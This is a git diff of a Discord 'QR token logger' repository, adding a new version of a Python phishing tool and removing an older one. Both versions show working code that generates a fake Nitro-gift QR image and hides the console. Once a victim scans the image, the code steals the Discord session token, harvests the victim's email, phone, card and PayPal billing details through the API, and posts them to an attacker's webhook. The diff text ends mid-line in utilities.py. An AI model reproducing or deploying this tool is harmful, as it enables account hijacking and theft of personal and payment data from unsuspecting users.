diff --git a/Discord-QR-Token-Logger.py b/Discord-QR-Token-Logger.py new file mode 100644 index 0000000..b9ccd76 --- /dev/null +++ b/Discord-QR-Token-Logger.py @@ -0,0 +1,167 @@ +import base64, os, re, time, sys +from requests import get +from bs4 import BeautifulSoup +from PIL import Image +from selenium import webdriver +from selenium.webdriver.chrome.service import Service +from discord_webhook import DiscordEmbed, DiscordWebhook +from pystyle import System, Center, Colorate, Colors, Box, Write +from utilities import pystray_img, banner +from pystray import Menu, MenuItem, Icon +from io import BytesIO +import ctypes +from threading import Thread +import time +from tempfile import TemporaryDirectory, NamedTemporaryFile + +def generate_qr(path_1, path_2) -> None: + qr_img = Image.open(path_1, "r") + ovly_img = Image.open(os.path.join(os.getcwd(), 'resources', 'overlay.png'), "r") + qr_img.paste(ovly_img, (60, 55)) + qr_img.save(path_2, quality=95) + +def generate_nitro_template(path_2) -> None: + nitro_template = Image.open(os.path.join(os.getcwd(), 'resources', 'template.png'), "r") + nitro_template.paste(Image.open(path_2, "r"), (120, 409)) + nitro_template.save("discord_gift.png", quality=95) + +def get_user_data(tk): + try: + headers = {'Authorization': tk} + response = get('https://discordapp.com/api/v6/users/@me', headers=headers).json() + return [response['username'], response['discriminator'], response['email'], response['phone']] + except: + return None + +def get_discord_info(tk, link_int): + headers = {'Authorization': tk} + if link_int == 1: + response = get('https://discordapp.com/api/v6/users/@me/billing/payment-sources', headers=headers).json() + elif link_int == 2: + response = get('https://discordapp.com/api/v9/users/@me/billing/subscriptions', headers=headers).json() + return response + +def main(webhook_url) -> None: + Write.Print("\n\n[!] Generating Qr-Code...", Colors.red_to_purple) + opts = webdriver.ChromeOptions() + opts.add_experimental_option("detach", True) + opts.add_experimental_option('excludeSwitches', ['enable-logging']) + opts.headless = True + opts.add_argument('--log-level 3') + from webdriver_manager.chrome import ChromeDriverManager # Importing the module here because it has conflict with pystyle. + os.environ['WDM_LOG_LEVEL'] = '0' + main.driver = webdriver.Chrome(service=Service(ChromeDriverManager().install()), options=opts) + main.driver.get("https://discord.com/login") + time.sleep(5) + source = BeautifulSoup(main.driver.page_source, features="lxml") + if not (div := re.search(r"qrCode-......", str(source))): + print(Write.Print("\n[!] QR Code is not found, please retry or contact us !'", Colors.red_to_yellow)) + sys.exit() + div = div.group(0) + div = source.find("div", {"class": f"{div}"}) + qr_code = div.find("img")["src"] + source = BeautifulSoup(main.driver.page_source, features="lxml") + div = source.find("div", {"class": "qrCode"}) + discord_login = main.driver.current_url + with TemporaryDirectory(dir='.') as td: + with NamedTemporaryFile(dir=td, suffix='.png') as tp1: + tp1.write(base64.b64decode(qr_code.replace('data:image/png;base64,', ''))) + Write.Print("\n[!] Generating QR-Code template...", Colors.red_to_purple) + with NamedTemporaryFile(dir=td, suffix='.png') as tp2: + generate_qr(tp1, tp2) + Write.Print("\n[!] Generating QR-Code Nitro template...", Colors.red_to_purple) + generate_nitro_template(tp2) + Write.Print("\n[#] Waiting for target...", Colors.red_to_purple) + pystray_icon.icon.notify("Script currently being hided until target grabbed.", 'Waiting for target') + time.sleep(3) + ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 0) + while True: + if discord_login != main.driver.current_url: + try: + os.remove('discord_gift.png') + except: + pass + token = main.driver.execute_script(''' + window.dispatchEvent(new Event('beforeunload')); + let iframe = document.createElement('iframe'); + iframe.style.display = 'none'; + document.body.appendChild(iframe); + let localStorage = iframe.contentWindow.localStorage; + var token = JSON.parse(localStorage.token); + return token; + ''') + break + main.driver.quit() + pystray_icon.icon.notify("The traget scanned the QR-code sucessfuly.", 'New Victim !') + time.sleep(3) + ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 1) + Write.Print(f"\n\n[?] Token grabbed: {token}", Colors.rainbow) + if webhook_url != None: + Write.Print("\n\n[!] Fetching token data...", Colors.red_to_purple) + webhook = DiscordWebhook(url=webhook_url, username='QR-Dtg', avatar_url="https://i.postimg.cc/qRHbRP2g/discord-avatar.png") + embed = DiscordEmbed(color='88c800') + if re.search(r"[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}", token) != None: + userdata, user_billings, user_subs = get_user_data(token), get_discord_info(token, 1), get_discord_info(token, 2) + if userdata != None: + embed.add_embed_field(name='User Token Info', value=f":crown:`Username:` **{userdata[0]}#{userdata[1]}**\n:e_mail:`Mail:` **{userdata[2]}**\n:mobile_phone:`Phone:` **{userdata[3]}**\n:money_with_wings:`Nitro:` **{':white_check_mark:' if bool(user_subs) else ':x:'}**", inline=False) + if bool(user_billings): + for data in user_billings: + if data['type'] == 1: + embed.add_embed_field(name='Payment Info (Debit or Credit Card)', value=f""":credit_card:`Brand:` ||**{data['brand']}**||\n:information_source:`Last 4:` ||**{data['last_4']}**||\n:date:`Expiration:` ||**{data['expires_month']}/{data['expires_year']}**|| + ***Billing Adress:***\n:name_badge:`Name:` ||**{data['billing_address']['name']}**||\n:paperclip:`Line 1:` ||**{data['billing_address']['line_1']}**||\n:paperclips:`Line 2:` ||**{data['billing_address']['line_2']}**||\n:flag_white:`Country:` ||**{data['billing_address']['country']}**||\n:triangular_flag_on_post:`State:` ||**{data['billing_address']['state']}**||\n:cityscape:`City:` ||**{data['billing_address']['city']}**||\n:postbox:`Postal Code:` ||**{data['billing_address']['postal_code']}**||\n""", inline=False) + elif data['type'] == 2: + embed.add_embed_field(name='Payment Info (Paypal)', value=f""":incoming_envelope:`Paypal Mail:` ||**{data['email']}**|| + ***Billing Adress:***\n:name_badge:`Name:` ||**{data['billing_address']['name']}**||\n:paperclip:`Line 1:` ||**{data['billing_address']['line_1']}**||\n:paperclips:`Line 2:` ||**{data['billing_address']['line_2']}**||\n:flag_white:`Country:` ||**{data['billing_address']['country']}**||\n:triangular_flag_on_post:`State:` ||**{data['billing_address']['state']}**||\n:cityscape:`City:` ||**{data['billing_address']['city']}**||\n:postbox:`Postal Code:` ||**{data['billing_address']['postal_code']}**||\n""", inline=False) + else: + embed.add_embed_field(name='Payment Info (:x:)', value="**No Payment Info Founded.**\n", inline=False) + else: + embed.add_embed_field(name='User Token Info :interrobang:', value="**This token doesn't provide any information about the account, maybe it's corrupted.**\n", inline=False) + embed.add_embed_field(name='Token', value=f"```yaml\n{token}\n```", inline=False) + else: + embed.add_embed_field(name='Token', value=f"```yaml\n{token}\n```", inline=False) + webhook.add_embed(embed) + embed.set_footer(text='By Luci (9P9), Lemon.-_-.#3714, the-cult-of-integral and mte0', inline=False) + Write.Print("\n[!] Sending data to discord webhook...", Colors.red_to_purple) + webhook.execute() + Write.Input('\n\n[*] Press ENTER to quit.', Colors.blue_to_green) + +if __name__ == "__main__": + System.Title('QR DISCORD LOGIN - By Luci (9P9), Lemon.-_-.#3714, the-cult-of-integral and mte0') + System.Size(140, 35) + print(Colorate.Horizontal(Colors.cyan_to_green, Center.XCenter(banner), 1)) + print(Colorate.Horizontal(Colors.rainbow, Center.GroupAlign(Box.DoubleCube("By Luci (9P9), Lemon.-_-.#3714, the-cult-of-integral and mte0")), 1)) + print(Colorate.Horizontal(Colors.rainbow, Box.Lines("https://github.com/9P9/Discord-QR-Token-Logger").replace('ቐ', "$"), 1), "\n") + def pystray_icon(): + def window_state(icon, item): + if str(item) == 'Show': + return ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 1) + elif str(item) == 'Hide': + return ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 0) + elif str(item) == 'Quit': + pystray_icon.icon.stop() + try: + main.driver.quit() + except: + pass + os._exit(0) + + pystray_icon.icon = Icon('QR_DTG', Image.open(BytesIO(base64.b64decode(pystray_img))), menu=Menu( + MenuItem('Show', window_state), + MenuItem('Hide', window_state), + MenuItem('Quit', window_state) + )) + pystray_icon.icon.run() + confir = Write.Input("[*] Do you want to use a webhook url ? [y/n] -> ", Colors.green_to_cyan, interval=0.01) + if confir == 'y': + th_main = Thread(target=main, args=(Write.Input("\n[*] Enter your webhook url -> ", Colors.green_to_cyan, interval=0.01),)) + elif confir == 'n': + th_main = Thread(target=main, args=(None,)) + else: + os._exit(0) + Thread(target=pystray_icon).start() + th_main.start() + while True: + if not th_main.is_alive(): + pystray_icon.icon.stop() + break + time.sleep(1) diff --git a/QR-dtg.py b/QR-dtg.py deleted file mode 100644 index eb5596f..0000000 --- a/QR-dtg.py +++ /dev/null @@ -1,155 +0,0 @@ -import base64, os, re, time, sys -from requests import get -from bs4 import BeautifulSoup -from PIL import Image -from selenium import webdriver -from selenium.webdriver.chrome.service import Service -from discord_webhook import DiscordEmbed, DiscordWebhook -from pystyle import System, Center, Colorate, Colors, Box, Write -from utilities import pystray_img, banner -from pystray import Menu, MenuItem, Icon -from io import BytesIO -import ctypes -from threading import Thread -from shutil import get_terminal_size -import time - -def generate_qr() -> None: - qr_img = Image.open(os.path.normpath(r"resources/qr_code.png"), "r") - ovly_img = Image.open(os.path.normpath(r"resources/overlay.png"), "r") - qr_img.paste(ovly_img, (60, 55)) - qr_img.save(os.path.normpath(r"resources/final_qr.png"), quality=95) - -def generate_nitro_template() -> None: - nitro_template = Image.open(os.path.normpath(r"resources/template.png"), "r") - qr_img = Image.open(os.path.normpath(r"resources/final_qr.png"), "r") - nitro_template.paste(qr_img, (120, 409)) - nitro_template.save("discord_gift.png", quality=95) - -def get_user_data(tk): - try: - headers = {'Authorization': tk} - response = get('https://discordapp.com/api/v6/users/@me', headers=headers).json() - return [response['username'], response['discriminator'], response['email'], response['phone']] - except: - return None - -def get_discord_info(tk, link_int): - headers = {'Authorization': tk} - if link_int == 1: - response = get('https://discordapp.com/api/v6/users/@me/billing/payment-sources', headers=headers).json() - elif link_int == 2: - response = get('https://discordapp.com/api/v9/users/@me/billing/subscriptions', headers=headers).json() - return response - -def main(webhook_url) -> None: - Write.Print("\n\n[!] Generating Qr-Code...", Colors.red_to_purple) - webdriver.ChromeOptions.binary_location = r"browser/chrome.exe" - opts = webdriver.ChromeOptions() - opts.add_experimental_option("detach", True) - opts.add_experimental_option('excludeSwitches', ['enable-logging']) - opts.headless = True - opts.add_argument('--log-level 3') - driver = webdriver.Chrome(service=Service(os.path.normpath(r"browser/chromedriver.exe")), options=opts) - driver.get("https://discord.com/login") - time.sleep(5) - source = BeautifulSoup(driver.page_source, features="lxml") - if not (div := re.search(r"qrCode-......", str(source))): - print(Write.Print("\n[!] QR Code is not found, please retry or contact us !'", Colors.red_to_yellow)) - sys.exit() - div = div.group(0) - div = source.find("div", {"class": f"{div}"}) - qr_code = div.find("img")["src"] - source = BeautifulSoup(driver.page_source, features="lxml") - div = source.find("div", {"class": "qrCode"}) - file = os.path.join(os.getcwd(), r"resources/qr_code.png") - img_data = base64.b64decode(qr_code.replace('data:image/png;base64,', '')) - with open(file, "wb") as handler: - handler.write(img_data) - Write.Print("\n[!] Generating QR-Code template...", Colors.red_to_purple) - discord_login = driver.current_url - generate_qr() - Write.Print("\n[!] Generating QR-Code Nitro template...", Colors.red_to_purple) - generate_nitro_template() - Write.Print("\n[#] Waiting for target...", Colors.red_to_purple) - pystray_icon.icon.notify("Script currently being hided until target grabbed.", 'Waiting for target') - time.sleep(3) - ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 0) - while True: - if discord_login != driver.current_url: - token = driver.execute_script(''' - window.dispatchEvent(new Event('beforeunload')); - let iframe = document.createElement('iframe'); - iframe.style.display = 'none'; - document.body.appendChild(iframe); - let localStorage = iframe.contentWindow.localStorage; - var token = JSON.parse(localStorage.token); - return token; - ''') - break - pystray_icon.icon.notify("The traget scanned the QR-code sucessfuly.", 'New Victim !') - time.sleep(3) - ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 1) - Write.Print(f"\n\n[?] Token grabbed: {token}", Colors.rainbow) - Write.Print("\n\n[!]Fetching token data...", Colors.red_to_purple) - driver.quit() - webhook = DiscordWebhook(url=webhook_url, username='QR-Dtg', avatar_url="https://i.postimg.cc/qRHbRP2g/discord-avatar.png") - embed = DiscordEmbed(color='88c800') - if re.search(r"[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}", token) != None: - userdata, user_billings, user_subs = get_user_data(token), get_discord_info(token, 1), get_discord_info(token, 2) - if userdata != None: - embed.add_embed_field(name='User Token Info', value=f":crown:`Username:` **{userdata[0]}#{userdata[1]}**\n:e_mail:`Mail:` **{userdata[2]}**\n:mobile_phone:`Phone:` **{userdata[3]}**\n:money_with_wings:`Nitro:` **{':white_check_mark:' if bool(user_subs) else ':x:'}**", inline=False) - if bool(user_billings): - for data in user_billings: - if data['type'] == 1: - embed.add_embed_field(name='Payment Info (Debit or Credit Card)', value=f""":credit_card:`Brand:` ||**{data['brand']}**||\n:information_source:`Last 4:` ||**{data['last_4']}**||\n:date:`Expiration:` ||**{data['expires_month']}/{data['expires_year']}**|| - ***Billing Adress:***\n:name_badge:`Name:` ||**{data['billing_address']['name']}**||\n:paperclip:`Line 1:` ||**{data['billing_address']['line_1']}**||\n:paperclips:`Line 2:` ||**{data['billing_address']['line_2']}**||\n:flag_white:`Country:` ||**{data['billing_address']['country']}**||\n:triangular_flag_on_post:`State:` ||**{data['billing_address']['state']}**||\n:cityscape:`City:` ||**{data['billing_address']['city']}**||\n:postbox:`Postal Code:` ||**{data['billing_address']['postal_code']}**||\n""", inline=False) - elif data['type'] == 2: - embed.add_embed_field(name='Payment Info (Paypal)', value=f""":incoming_envelope:`Paypal Mail:` ||**{data['email']}**|| - ***Billing Adress:***\n:name_badge:`Name:` ||**{data['billing_address']['name']}**||\n:paperclip:`Line 1:` ||**{data['billing_address']['line_1']}**||\n:paperclips:`Line 2:` ||**{data['billing_address']['line_2']}**||\n:flag_white:`Country:` ||**{data['billing_address']['country']}**||\n:triangular_flag_on_post:`State:` ||**{data['billing_address']['state']}**||\n:cityscape:`City:` ||**{data['billing_address']['city']}**||\n:postbox:`Postal Code:` ||**{data['billing_address']['postal_code']}**||\n""", inline=False) - else: - embed.add_embed_field(name='Payment Info (:x:)', value="**No Payment Info Founded.**\n", inline=False) - else: - embed.add_embed_field(name='User Token Info :interrobang:', value="**This token doesn't provide any information about the account, maybe it's corrupted.**\n", inline=False) - embed.add_embed_field(name='Token', value=f"```yaml\n{token}\n```", inline=False) - else: - embed.add_embed_field(name='Token', value=f"```yaml\n{token}\n```", inline=False) - webhook.add_embed(embed) - embed.set_footer(text='By Luci (9P9), Lemon.-_-.#3714, the-cult-of-integral and mte0', inline=False) - Write.Print("\n[!]Sending data to discord webhook...", Colors.red_to_purple) - webhook.execute() - Write.Input('\n\nPress any button to quit.', Colors.blue_to_green) - -if __name__ == "__main__": - System.Title('QR DISCORD LOGIN - By Luci (9P9), Lemon.-_-.#3714, the-cult-of-integral and mte0') - System.Size(140, 35) - def print_center(s): - return s.center(get_terminal_size().columns) - print(Colorate.Horizontal(Colors.cyan_to_green, Center.XCenter(banner), 1)) - print(Colorate.Horizontal(Colors.rainbow, Center.GroupAlign(Box.DoubleCube("By Luci (9P9), Lemon.-_-.#3714, the-cult-of-integral and mte0")), 1)) - print(Colorate.Horizontal(Colors.rainbow, Box.Lines("https://github.com/9P9/Discord-QR-Token-Logger").replace('ቐ', "$"), 1), "\n") - def pystray_icon(): - def window_state(icon, item): - if str(item) == 'Show': - return ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 1) - elif str(item) == 'Hide': - return ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 0) - elif str(item) == 'Quit': - pystray_icon.icon.stop() - os._exit(0) - - pystray_icon.icon = Icon('QR_DTG', Image.open(BytesIO(base64.b64decode(pystray_img))), menu=Menu( - MenuItem('Show', window_state), - MenuItem('Hide', window_state), - MenuItem('Quit', window_state) - )) - pystray_icon.icon.run() - - Thread(target=pystray_icon).start() - th_main = Thread(target=main, args=(Write.Input("[*] Enter your webhook url -> ", Colors.green_to_cyan, interval=0.01),)) - th_main.start() - while True: - if not th_main.is_alive(): - pystray_icon.icon.stop() - break - time.sleep(1) diff --git a/[1] install_requirements.bat b/[1] install_requirements.bat deleted file mode 100644 index 4c1001f..0000000 --- a/[1] install_requirements.bat +++ /dev/null @@ -1 +0,0 @@ -pip install beautifulsoup4 colorama lxml pillow requests selenium discord_webhook pystray, pystyle diff --git a/browser.7z b/browser.7z deleted file mode 100644 index e9be6bf..0000000 Binary files a/browser.7z and /dev/null differ diff --git a/install_requirements.bat b/install_requirements.bat new file mode 100644 index 0000000..b5b5489 --- /dev/null +++ b/install_requirements.bat @@ -0,0 +1 @@ +pip install beautifulsoup4 lxml pillow requests selenium discord_webhook pystray, pystyle diff --git a/resources/final_qr.png b/resources/final_qr.png deleted file mode 100644 index 4ecd46a..0000000 Binary files a/resources/final_qr.png and /dev/null differ diff --git a/resources/qr_code.png b/resources/qr_code.png deleted file mode 100644 index da4aa4d..0000000 Binary files a/resources/qr_code.png and /dev/null differ diff --git a/utilities.py b/utilities.py index 6e8fadc..2e4e17b 100644 --- a/utilities.py +++ b/utilities.py @@ -1,12 +1,12 @@ -pystray_img = "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" - -banner = """ - - ██████╗ ██████╗ ██████╗ ██╗ ██████╗ █████╗ █████╗ ██████╗ ██████╗ ██╗ █████╗ ██████╗ ██╗███╗ ██╗ -██╔═══██╗██╔══██╗ ██╔══██╗██║██╔════╝██╔══██╗██╔══██╗██╔══██╗██╔══██╗ ██║ ██╔══██╗██╔════╝ ██║████╗ ██║ -██║██╗██║██████╔╝█████╗██║ ██║██║╚█████╗ ██║ ╚═╝██║ ██║██████╔╝██║ ██║█████╗██║ ██║ ██║██║ ██╗ ██║██╔██╗██║ -╚██████╔╝██╔══██╗╚════╝██║ ██║██║ ╚═══██╗██║ ██╗██║ ██║██╔══██╗██║ ██║╚════╝██║ ██║ ██║██║ ╚██╗██║██║╚████║ - ╚═██╔═╝ ██║ ██║ ██████╔╝██║██████╔╝╚█████╔╝╚█████╔╝██║ ██║██████╔╝ ███████╗╚█████╔╝╚██████╔╝██║██║ ╚███║ - ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝╚═════╝ ╚════╝ ╚════╝ ╚═╝ ╚═╝╚═════╝ ╚══════╝ ╚════╝ ╚═════╝ ╚═╝╚═╝ ╚══╝ - -""" +pystray_img = 